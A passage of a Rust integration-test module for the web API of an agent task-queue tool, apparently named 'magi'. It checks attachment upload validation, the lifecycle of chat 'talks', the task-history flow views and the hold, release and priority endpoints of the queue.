8712        for id in [&id_a, &id_b] {
8713            let view = listed
8714                .as_array()
8715                .unwrap()
8716                .iter()
8717                .find(|talk| talk["id"] == *id)
8718                .unwrap();
8719            assert_eq!(view["thinking"], true, "{listed}");
8720        }
8721        let repeated = f
8722            .post(
8723                &format!("/api/talks/{id_a}/say"),
8724                Some(r#"{"text":"again"}"#),
8725            )
8726            .await;
8727        assert_eq!(repeated.status, 202, "{}", repeated.body);
8728        assert_eq!(repeated.json()["pending"], "again");
8729    }
8730
8731    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
8732    /// few more, since real uploads are never exactly eight bytes.
8733    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
8734
8735    #[tokio::test]
8736    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
8737        let f = Fixture::start().await;
8738        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
8739
8740        let res = f
8741            .post_bytes(
8742                &format!("/api/talks/{id}/attachments"),
8743                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
8744                PNG_BYTES,
8745            )
8746            .await;
8747        assert_eq!(res.status, 201, "{}", res.body);
8748        let body = res.json();
8749        assert_eq!(body["name"], "shot.png");
8750        assert_eq!(body["mime"], "image/png");
8751        assert_eq!(body["bytes"], PNG_BYTES.len());
8752        let att_id = body["id"].as_str().expect("id").to_owned();
8753        assert_eq!(
8754            att_id.len(),
8755            32,
8756            "the id must never be a client-suppliable path: {att_id}"
8757        );
8758
8759        let got = f
8760            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
8761            .await;
8762        assert_eq!(got.status, 200, "{}", got.body);
8763        assert_eq!(got.header("content-type"), Some("image/png"));
8764        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
8765        assert_eq!(got.bytes, PNG_BYTES);
8766    }
8767
8768    #[tokio::test]
8769    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
8770        let f = Fixture::start().await;
8771        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
8772
8773        // SVG can carry a `<script>`, so it is never on the whitelist even
8774        // though it is a real IANA image type.
8775        let svg = f
8776            .post_bytes(
8777                &format!("/api/talks/{id}/attachments"),
8778                &[("Content-Type", "image/svg+xml")],
8779                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
8780            )
8781            .await;
8782        assert!(
8783            (400..500).contains(&svg.status),
8784            "svg must be refused: {} {}",
8785            svg.status,
8786            svg.body
8787        );
8788        assert!(svg.body.contains("SVG"), "{}", svg.body);
8789
8790        let text = f
8791            .post_bytes(
8792                &format!("/api/talks/{id}/attachments"),
8793                &[("Content-Type", "text/plain")],
8794                b"just some text",
8795            )
8796            .await;
8797        assert!(
8798            (400..500).contains(&text.status),
8799            "an unlisted type must be refused: {} {}",
8800            text.status,
8801            text.body
8802        );
8803
8804        // The declared type is a real png, but the size check runs before
8805        // the bytes are even looked at.
8806        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
8807        let big = f
8808            .post_bytes(
8809                &format!("/api/talks/{id}/attachments"),
8810                &[("Content-Type", "image/png")],
8811                &oversized,
8812            )
8813            .await;
8814        assert_eq!(
8815            big.status,
8816            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
8817            "{}",
8818            big.body
8819        );
8820    }
8821
8822    #[tokio::test]
8823    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
8824        let f = Fixture::start().await;
8825        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
8826
8827        // A whitelisted `Content-Type`, but bytes that are not actually a
8828        // png - the declared header alone is never trusted.
8829        let res = f
8830            .post_bytes(
8831                &format!("/api/talks/{id}/attachments"),
8832                &[("Content-Type", "image/png")],
8833                b"<html>not a picture</html>",
8834            )
8835            .await;
8836        assert!((400..500).contains(&res.status), "{}", res.body);
8837    }
8838
8839    #[tokio::test]
8840    async fn an_unknown_attachment_id_is_a_404() {
8841        let f = Fixture::start().await;
8842        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
8843
8844        let res = f
8845            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
8846            .await;
8847        assert_eq!(res.status, 404, "{}", res.body);
8848    }
8849
8850    #[tokio::test]
8851    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
8852        let f = Fixture::start().await;
8853        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
8854
8855        let uploaded = f
8856            .post_bytes(
8857                &format!("/api/talks/{id}/attachments"),
8858                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
8859                PNG_BYTES,
8860            )
8861            .await;
8862        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8863        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
8864
8865        let res = f
8866            .post(
8867                &format!("/api/talks/{id}/say"),
8868                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
8869            )
8870            .await;
8871        assert_eq!(res.status, 202, "{}", res.body);
8872        let queued = res.json();
8873        let turns = queued["turns"].as_array().expect("turns array");
8874        assert_eq!(
8875            turns.len(),
8876            1,
8877            "an empty body with an attachment is still a turn: {queued}"
8878        );
8879        assert_eq!(turns[0]["who"], "operator");
8880        assert_eq!(turns[0]["body"], "");
8881        let atts = turns[0]["attachments"]
8882            .as_array()
8883            .expect("attachments array");
8884        assert_eq!(atts.len(), 1);
8885        assert_eq!(atts[0]["id"], att_id);
8886        assert_eq!(atts[0]["mime"], "image/png");
8887
8888        // Not only in the response: `record` flushes to disk before the
8889        // agent's own turn is even spawned.
8890        let on_disk = f.talks().get(&id).expect("get");
8891        assert_eq!(on_disk.turns[0].attachments.len(), 1);
8892        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
8893    }
8894
8895    #[tokio::test]
8896    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
8897        let f = Fixture::start().await;
8898        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
8899
8900        let res = f
8901            .post(
8902                &format!("/api/talks/{id}/say"),
8903                Some(&format!(
8904                    r#"{{"text":"hi","attachments":["{}"]}}"#,
8905                    "a".repeat(32)
8906                )),
8907            )
8908            .await;
8909        assert!((400..500).contains(&res.status), "{}", res.body);
8910        assert!(res.body.contains("unknown attachment"), "{}", res.body);
8911
8912        let on_disk = f.talks().get(&id).expect("get");
8913        assert!(
8914            on_disk.turns.is_empty(),
8915            "a rejected attachment id must not partially record the turn: {:?}",
8916            on_disk.turns
8917        );
8918    }
8919
8920    #[tokio::test]
8921    async fn talk_close_makes_the_talk_refuse_further_turns() {
8922        let f = Fixture::start().await;
8923        let id = seed_talk(&f, "20260904-014455-cd34", "open");
8924
8925        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8926        assert_eq!(closed.status, 200, "{}", closed.body);
8927        assert_eq!(closed.json()["status"], "closed");
8928
8929        // Idempotent: closing an already-closed talk is not an error.
8930        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
8931        assert_eq!(closed_again.status, 200);
8932        assert_eq!(closed_again.json()["status"], "closed");
8933
8934        let said = f
8935            .post(
8936                &format!("/api/talks/{id}/say"),
8937                Some(r#"{"text":"too late"}"#),
8938            )
8939            .await;
8940        assert_eq!(said.status, 409, "{}", said.body);
8941    }
8942
8943    #[tokio::test]
8944    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
8945        let (_tmp, _repo, f) = talk_fixture().await;
8946        let id = f.post("/api/talks", None).await.json()["id"]
8947            .as_str()
8948            .expect("id")
8949            .to_owned();
8950        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8951        assert_eq!(closed.status, 200, "{}", closed.body);
8952
8953        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
8954        assert_eq!(reopened.status, 200, "{}", reopened.body);
8955        assert_eq!(reopened.json()["status"], "open");
8956
8957        // Idempotent: reopening an already-open talk is not an error.
8958        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
8959        assert_eq!(reopened_again.status, 200);
8960        assert_eq!(reopened_again.json()["status"], "open");
8961
8962        let said = f
8963            .post(
8964                &format!("/api/talks/{id}/say"),
8965                Some(r#"{"text":"still there?"}"#),
8966            )
8967            .await;
8968        assert_eq!(
8969            said.status, 202,
8970            "a reopened talk accepts turns again: {}",
8971            said.body
8972        );
8973    }
8974
8975    #[tokio::test]
8976    async fn talk_reopen_on_an_unknown_id_is_404() {
8977        let f = Fixture::start().await;
8978        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
8979        assert_eq!(res.status, 404, "{}", res.body);
8980    }
8981
8982    #[tokio::test]
8983    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
8984        let f = Fixture::start().await;
8985        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
8986
8987        let deleted = f.delete(&format!("/api/talks/{id}")).await;
8988        assert_eq!(deleted.status, 204, "{}", deleted.body);
8989
8990        let after = f.get(&format!("/api/talks/{id}")).await;
8991        assert_eq!(after.status, 404, "{}", after.body);
8992
8993        let listed = f.get("/api/talks").await.json();
8994        assert!(
8995            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
8996            "a deleted talk must not linger in the list: {listed}"
8997        );
8998    }
8999
9000    #[tokio::test]
9001    async fn talk_delete_on_an_unknown_id_is_404() {
9002        let f = Fixture::start().await;
9003        let res = f.delete("/api/talks/nonexistent-id").await;
9004        assert_eq!(res.status, 404, "{}", res.body);
9005    }
9006
9007    /// A task's page lists every run it ever had, in order, and says what kind
9008    /// of attempt each was - including a resume, which re-pushes the same run
9009    /// id, and a run whose record this build cannot read.
9010    #[tokio::test]
9011    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
9012        let f = Fixture::start().await;
9013        let (a, b, gone) = (
9014            "20260902-140501-aaaa",
9015            "20260902-140502-bbbb",
9016            "20260902-140503-cccc",
9017        );
9018        write_run(&f.runs(), a, RunStatus::Stalled);
9019        let mut review = RunState::new(
9020            PathBuf::from("/repo/magi"),
9021            "main".to_owned(),
9022            "0123456789abcdef".to_owned(),
9023            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
9024                .to_owned(),
9025            Config::default(),
9026        );
9027        review.id = b.to_owned();
9028        review.status = RunStatus::Merged;
9029        write_state(&f.runs(), &review);
9030
9031        let mut task = Task::new(
9032            "retry".to_owned(),
9033            "Do the thing".to_owned(),
9034            PathBuf::from("/repo/magi"),
9035            Source::Human,
9036        );
9037        task.start(a.to_owned());
9038        task.stall("quota");
9039        task.start(a.to_owned());
9040        task.start(b.to_owned());
9041        task.start(gone.to_owned());
9042        f.queue().put(&mut task).expect("file the task");
9043
9044        let res = f.get(&format!("/api/queue/{}", task.id)).await;
9045        assert_eq!(res.status, 200, "{}", res.body);
9046        let v = res.json();
9047        let h = v["history"].as_array().expect("history");
9048        assert_eq!(h.len(), 4, "{v}");
9049        assert_eq!(h[0]["kind"], "competition");
9050        assert_eq!(h[0]["status"], "stalled");
9051        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
9052        assert_eq!(h[1]["kind"], "resume", "{v}");
9053        assert!(
9054            h[0]["outcome"]
9055                .as_str()
9056                .unwrap()
9057                .contains("unknown. Pass #2"),
9058            "an earlier pass of a resumed run must not claim the final outcome: {v}"
9059        );
9060        assert!(
9061            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
9062            "{v}"
9063        );
9064        assert!(
9065            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
9066            "an unrecorded cause must not be narrated as an operator park: {v}"
9067        );
9068        assert_eq!(h[2]["kind"], "review");
9069        assert!(
9070            h[2]["description"]
9071                .as_str()
9072                .unwrap()
9073                .contains("magi/aaaa/A")
9074        );
9075        assert_eq!(h[2]["status"], "merged");
9076        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
9077        assert_eq!(v["runs_unreadable"], 1);
9078        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
9079        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
9080        assert_eq!(nodes[4]["note"], "unreadable");
9081        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
9082        assert_eq!(v["instruction"], "Do the thing");
9083        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
9084
9085        // The run's own page links back to the task.
9086        let run = f.get(&format!("/api/runs/{a}")).await.json();
9087        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
9088
9089        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
9090    }
9091
9092    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
9093        let mut s = RunState::new(
9094            PathBuf::from("/repo/magi"),
9095            "main".to_owned(),
9096            "0123456789abcdef".to_owned(),
9097            "Do it".to_owned(),
9098            Config::default(),
9099        );
9100        s.status = status;
9101        edit(&mut s);
9102        s
9103    }
9104
9105    fn flow_task(runs: &[&str]) -> Task {
9106        let mut t = Task::new(
9107            "t".to_owned(),
9108            "Do it".to_owned(),
9109            PathBuf::from("/repo/magi"),
9110            Source::Human,
9111        );
9112        for r in runs {
9113            t.start((*r).to_owned());
9114        }
9115        t
9116    }
9117
9118    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
9119        let h = task_history(task, |id| {
9120            states
9121                .iter()
9122                .find(|(i, _)| *i == id)
9123                .and_then(|(_, s)| s.clone())
9124        });
9125        task_flow(task, &h, 5)
9126    }
9127
9128    #[test]
9129    fn flow_opens_with_the_chat_that_queued_the_task() {
9130        let mut t = flow_task(&[]);
9131        t.source = Source::Agent {
9132            run: "a b/c".to_owned(),
9133            node: crate::queue::CHAT_NODE.to_owned(),
9134        };
9135        let f = flow_for(&t, &[]);
9136        assert_eq!(f.nodes[0].key, "chat");
9137        assert_eq!(f.nodes[0].kind, "chat");
9138        assert_eq!(
9139            f.nodes[0].label,
9140            format!("Chat {}", crate::queue::short("a b/c"))
9141        );
9142        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
9143        assert_eq!(f.nodes[1].key, "start");
9144        assert_eq!(
9145            f.edges[0],
9146            FlowEdge {
9147                from: "chat".to_owned(),
9148                to: "start".to_owned(),
9149                label: "queued from chat".to_owned(),
9150                attempt: AttemptCost::None,
9151            }
9152        );
9153    }
9154
9155    #[test]
9156    fn flow_has_no_chat_box_for_other_sources() {
9157        for source in [
9158            Source::Human,
9159            Source::Issue {
9160                number: 3,
9161                repo: "o/r".to_owned(),
9162            },
9163            Source::Agent {
9164                run: "20260904-014455-ab12".to_owned(),
9165                node: "implement".to_owned(),
9166            },
9167        ] {
9168            let mut t = flow_task(&[]);
9169            t.source = source;
9170            let f = flow_for(&t, &[]);
9171            assert_eq!(f.nodes[0].key, "start");
9172            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
9173            assert!(f.edges.iter().all(|e| e.from != "chat"));
9174        }
9175    }
9176
9177    const FA: &str = "20260902-140501-aaaa";
9178    const FB: &str = "20260902-140502-bbbb";
9179
9180    #[test]
9181    fn flow_follows_blocked_retry_merged_to_done() {
9182        let mut t = flow_task(&[FA, FB]);
9183        t.status = TaskStatus::Done;
9184        let f = flow_for(
9185            &t,
9186            &[
9187                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
9188                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
9189            ],
9190        );
9191        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
9192        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
9193        assert_eq!(f.edges.len(), 3);
9194        assert_eq!(f.edges[0].label, "claimed");
9195        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
9196        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9197        assert_eq!(f.edges[2].label, "merged \u{2192} done");
9198        assert_eq!(
9199            f.nodes[2].href.as_deref(),
9200            Some("#/runs/20260902-140502-bbbb")
9201        );
9202        assert!(f.nodes[2].decided);
9203    }
9204
9205    #[test]
9206    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
9207        let quota = || {
9208            flow_run(RunStatus::Stalled, |s| {
9209                s.quota.push(crate::run::QuotaLoss {
9210                    seat: "judge-1".to_owned(),
9211                    node: "judge".to_owned(),
9212                    at: Timestamp::now(),
9213                    reset: None,
9214                })
9215            })
9216        };
9217        let mut t = flow_task(&[FA, FA]);
9218        t.status = TaskStatus::Queued;
9219        let f = flow_for(&t, &[(FA, Some(quota()))]);
9220        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
9221        assert_eq!(f.nodes[1].note, Some("interrupted"));
9222        assert_eq!(
9223            f.nodes[1].status, None,
9224            "no outcome copied onto an earlier pass"
9225        );
9226        assert_eq!(
9227            f.edges[1].attempt,
9228            AttemptCost::Unknown,
9229            "a resume does not prove the earlier pass was refunded"
9230        );
9231        assert!(f.edges[1].label.contains("resume the same run"));
9232        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
9233        assert_eq!(
9234            f.edges[2].label,
9235            "stalled after a resume, refund unknown \u{2192} queued"
9236        );
9237        assert!(!f.nodes[2].decided, "a stall is not a decision");
9238        assert_eq!(f.nodes[2].note, Some("no verdict"));
9239    }
9240
9241    #[test]
9242    fn flow_single_pass_quota_stall_is_refunded() {
9243        let t = flow_task(&[FA]);
9244        let f = flow_for(
9245            &t,
9246            &[(
9247                FA,
9248                Some(flow_run(RunStatus::Stalled, |s| {
9249                    s.quota.push(crate::run::QuotaLoss {
9250                        seat: "judge-1".to_owned(),
9251                        node: "judge".to_owned(),
9252                        at: Timestamp::now(),
9253                        reset: None,
9254                    })
9255                })),
9256            )],
9257        );
9258        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9259    }
9260
9261    #[test]
9262    fn flow_parked_refunds_and_stall_without_quota_spends() {
9263        let mut t = flow_task(&[FA]);
9264        t.status = TaskStatus::Queued;
9265        let f = flow_for(
9266            &t,
9267            &[(
9268                FA,
9269                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
9270            )],
9271        );
9272        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
9273        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9274        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
9275        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9276        assert!(!f.nodes[1].decided);
9277    }
9278
9279    #[test]
9280    fn flow_keeps_an_unreadable_run_as_its_own_node() {
9281        let t = flow_task(&[FA, FB]);
9282        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
9283        assert_eq!(f.nodes[1].note, Some("unreadable"));
9284        assert!(!f.nodes[1].readable);
9285        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
9286        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
9287    }
9288
9289    #[test]
9290    fn flow_names_the_branch_of_a_review_only_run() {
9291        let t = flow_task(&[FA]);
9292        let f = flow_for(
9293            &t,
9294            &[(
9295                FA,
9296                Some(flow_run(RunStatus::Merged, |s| {
9297                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
9298                })),
9299            )],
9300        );
9301        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
9302        assert_eq!(
9303            f.nodes[1].detail.as_deref(),
9304            Some("review-only run of branch magi/x/A")
9305        );
9306    }
9307
9308    #[test]
9309    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
9310        let mut t = flow_task(&[FA]);
9311        t.status = TaskStatus::Held;
9312        let pr = crate::run::PrRecord {
9313            url: "https://example.test/pr/1".to_owned(),
9314            number: 1,
9315            state: "open".to_owned(),
9316            checks: "green".to_owned(),
9317            round: 0,
9318            rounds: 3,
9319            red_at_merge: Vec::new(),
9320        };
9321        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
9322        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
9323        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
9324        t.status = TaskStatus::Done;
9325        let f = flow_for(&t, &[(FA, Some(blocked))]);
9326        assert_eq!(f.edges[1].label, "closed by hand: task is done");
9327    }
9328
9329    #[test]
9330    fn flow_with_no_runs_goes_from_queued_to_queued() {
9331        let t = flow_task(&[]);
9332        let f = flow_for(&t, &[]);
9333        assert_eq!(f.nodes.len(), 2);
9334        assert_eq!(f.edges.len(), 1);
9335        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
9336        assert_eq!(f.edges[0].attempt, AttemptCost::None);
9337    }
9338
9339    /// A run parked mid-flight keeps a non-terminal status; the page must
9340    /// still say why it stopped and that the attempt came back.
9341    #[test]
9342    fn a_parked_non_terminal_run_is_explained_as_parked() {
9343        let mut s = RunState::new(
9344            PathBuf::from("/repo/magi"),
9345            "main".to_owned(),
9346            "0123456789abcdef".to_owned(),
9347            "Do it".to_owned(),
9348            Config::default(),
9349        );
9350        s.status = RunStatus::Implementing;
9351        s.parked = true;
9352        let task = Task::new(
9353            "t".to_owned(),
9354            "Do it".to_owned(),
9355            PathBuf::from("/repo/magi"),
9356            Source::Human,
9357        );
9358        let v = task_run_view(
9359            "20260902-140501-aaaa",
9360            Some(&s),
9361            RunSlot {
9362                n: 1,
9363                resumed: false,
9364                resumed_later: None,
9365                prior: None,
9366                last: true,
9367            },
9368            &task,
9369        );
9370        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
9371    }
9372
9373    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
9374        let mut s = flow_run(RunStatus::Implementing, edit);
9375        s.parked = false;
9376        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
9377        task_run_view(
9378            "20260902-140501-aaaa",
9379            Some(&s),
9380            RunSlot {
9381                n: 1,
9382                resumed: false,
9383                resumed_later: Some(2),
9384                prior: None,
9385                last: false,
9386            },
9387            &task,
9388        )
9389    }
9390
9391    #[test]
9392    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
9393        let v = earlier_pass_view(|_| {});
9394        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
9395        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9396        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
9397        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
9398        assert_eq!(v.exit, RunExit::Interrupted);
9399        assert_eq!(v.attempt, AttemptCost::Unknown);
9400    }
9401
9402    #[test]
9403    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
9404        let v = earlier_pass_view(|s| {
9405            s.quota.push(crate::run::QuotaLoss {
9406                seat: "judge-1".to_owned(),
9407                node: "judge".to_owned(),
9408                at: Timestamp::now(),
9409                reset: None,
9410            });
9411        });
9412        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
9413        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9414        assert_eq!(v.attempt, AttemptCost::Unknown);
9415    }
9416
9417    #[test]
9418    fn the_current_pass_states_its_recorded_cause_and_cost() {
9419        let slot = || RunSlot {
9420            n: 1,
9421            resumed: false,
9422            resumed_later: None,
9423            prior: None,
9424            last: true,
9425        };
9426        let task = flow_task(&["20260902-140501-aaaa"]);
9427        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
9428        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
9429        assert_eq!(
9430            (v.exit, v.attempt),
9431            (RunExit::Parked, AttemptCost::Refunded)
9432        );
9433        let spent = flow_run(RunStatus::Blocked, |_| {});
9434        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
9435        assert_eq!(v.attempt, AttemptCost::Spent);
9436        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
9437    }
9438
9439    #[tokio::test]
9440    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
9441        let f = Fixture::start().await;
9442        let queue = f.queue();
9443        let mut task = Task::new(
9444            "spent".to_owned(),
9445            "Try again".to_owned(),
9446            PathBuf::from("/repo/magi"),
9447            Source::Human,
9448        );
9449        task.start("20260902-140502-bbbb".to_owned());
9450        task.fail("agent gave up", 9);
9451        queue.put(&mut task).expect("file the task");
9452
9453        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9454        assert_eq!(held.status, 200);
9455        assert_eq!(held.json()["status_str"], "held");
9456
9457        let released = f
9458            .post(&format!("/api/queue/{}/release", task.id), None)
9459            .await;
9460        assert_eq!(released.status, 200);
9461        assert_eq!(released.json()["status_str"], "queued");
9462        assert_eq!(
9463            released.json()["attempts"],
9464            0,
9465            "release is a real second chance, not an instant re-hold"
9466        );
9467        assert_eq!(
9468            queue.get(&task.id).expect("reload").status,
9469            TaskStatus::Queued,
9470            "the change is on disk, not only in the reply"
9471        );
9472        assert!(
9473            !f.home
9474                .path()
9475                .join("queue")
9476                .join(format!("{}.lock", task.id))
9477                .exists(),
9478            "the claim the mutation took is released again"
9479        );
9480    }
9481
9482    #[tokio::test]
9483    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
9484        let f = Fixture::start().await;
9485        let queue = f.queue();
9486        let mut task = Task::new(
9487            "busy".to_owned(),
9488            "Running right now".to_owned(),
9489            PathBuf::from("/repo/magi"),
9490            Source::Human,
9491        );
9492        queue.put(&mut task).expect("file the task");
9493        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9494
9495        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9496
9497        assert_eq!(res.status, 409);
9498        assert_eq!(
9499            queue.get(&task.id).expect("reload").status,
9500            TaskStatus::Queued,
9501            "the refused hold changed nothing"
9502        );
9503    }
9504
9505    #[tokio::test]
9506    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
9507        let f = Fixture::start().await;
9508        let queue = f.queue();
9509        let mut task = Task::new(
9510            "waiting on the migration".to_owned(),
9511            "Do the thing".to_owned(),
9512            PathBuf::from("/repo/magi"),
9513            Source::Human,
9514        );
9515        queue.put(&mut task).expect("file the task");
9516
9517        let held = f
9518            .post(
9519                &format!("/api/queue/{}/hold", task.id),
9520                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
9521            )
9522            .await;
9523        assert_eq!(held.status, 200, "{}", held.body);
9524        assert_eq!(held.json()["status_str"], "held");
9525        assert_eq!(
9526            held.json()["hold_reason"],
9527            "waiting for 20260101-000000-aaaa to land"
9528        );
9529
9530        let listed = f.get("/api/queue").await.json();
9531        assert_eq!(
9532            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
9533            "the card reads the reason off the same list route"
9534        );
9535
9536        // A hold with no body at all must keep working - most holds have no
9537        // reason to give.
9538        let mut plain = Task::new(
9539            "no reason given".to_owned(),
9540            "Do another thing".to_owned(),
9541            PathBuf::from("/repo/magi"),
9542            Source::Human,
9543        );
9544        queue.put(&mut plain).expect("file the task");
9545        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
9546        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
9547        assert!(held_plain.json()["hold_reason"].is_null());
9548
9549        let released = f
9550            .post(&format!("/api/queue/{}/release", task.id), None)
9551            .await;
9552        assert_eq!(released.status, 200);
9553        assert!(
9554            released.json()["hold_reason"].is_null(),
9555            "a release must clear the reason so the next hold does not inherit it"
9556        );
9557    }
9558
9559    #[tokio::test]
9560    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
9561        let f = Fixture::start().await;
9562        let queue = f.queue();
9563        let mut older = Task::new(
9564            "filed first".to_owned(),
9565            "x".to_owned(),
9566            PathBuf::from("/repo/magi"),
9567            Source::Human,
9568        );
9569        older.id = "20260101-000001-aaaa".to_owned();
9570        let mut newer = Task::new(
9571            "filed second".to_owned(),
9572            "x".to_owned(),
9573            PathBuf::from("/repo/magi"),
9574            Source::Human,
9575        );
9576        newer.id = "20260101-000002-bbbb".to_owned();
9577        queue.put(&mut older).expect("file older");
9578        queue.put(&mut newer).expect("file newer");
9579
9580        // Equal priority: the newer task leads, the same order the old
9581        // newest-first `list()` already gave every equal-priority queue.
9582        let before = f.get("/api/queue").await.json();
9583        assert_eq!(before[0]["id"], newer.id);
9584        assert_eq!(before[1]["id"], older.id);
9585
9586        // Raising the *older* task is the meaningful case: it can only lead
9587        // now because its priority says so, not because it happens to be
9588        // newest.
9589        let raised = f
9590            .post(
9591                &format!("/api/queue/{}/priority", older.id),
9592                Some(r#"{"priority":10}"#),
9593            )
9594            .await;
9595        assert_eq!(raised.status, 200, "{}", raised.body);
9596        assert_eq!(raised.json()["priority"], 10);
9597
9598        let after = f.get("/api/queue").await.json();
9599        let names: Vec<&str> = after
9600            .as_array()
9601            .unwrap()
9602            .iter()
9603            .map(|t| t["id"].as_str().unwrap())
9604            .collect();
9605        // Highest priority first, which is the order next_runnable and
9606        // `magi task list` both use - GET /api/queue must agree with it
9607        // immediately, not just once the loop claims the task.
9608        assert_eq!(names[0], older.id, "the raised task now sorts first");
9609    }
9610
9611    #[tokio::test]
9612    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
9613        let f = Fixture::start().await;
9614        let queue = f.queue();
9615        let mut task = Task::new(
9616            "in flight".to_owned(),
9617            "x".to_owned(),
9618            PathBuf::from("/repo/magi"),
9619            Source::Human,
9620        );
9621        task.start("20260902-140502-bbbb".to_owned());
9622        queue.put(&mut task).expect("file the task");
9623
9624        let res = f
9625            .post(
9626                &format!("/api/queue/{}/priority", task.id),
9627                Some(r#"{"priority":9}"#),
9628            )
9629            .await;
9630        assert_eq!(res.status, 400, "{}", res.body);
9631        assert!(
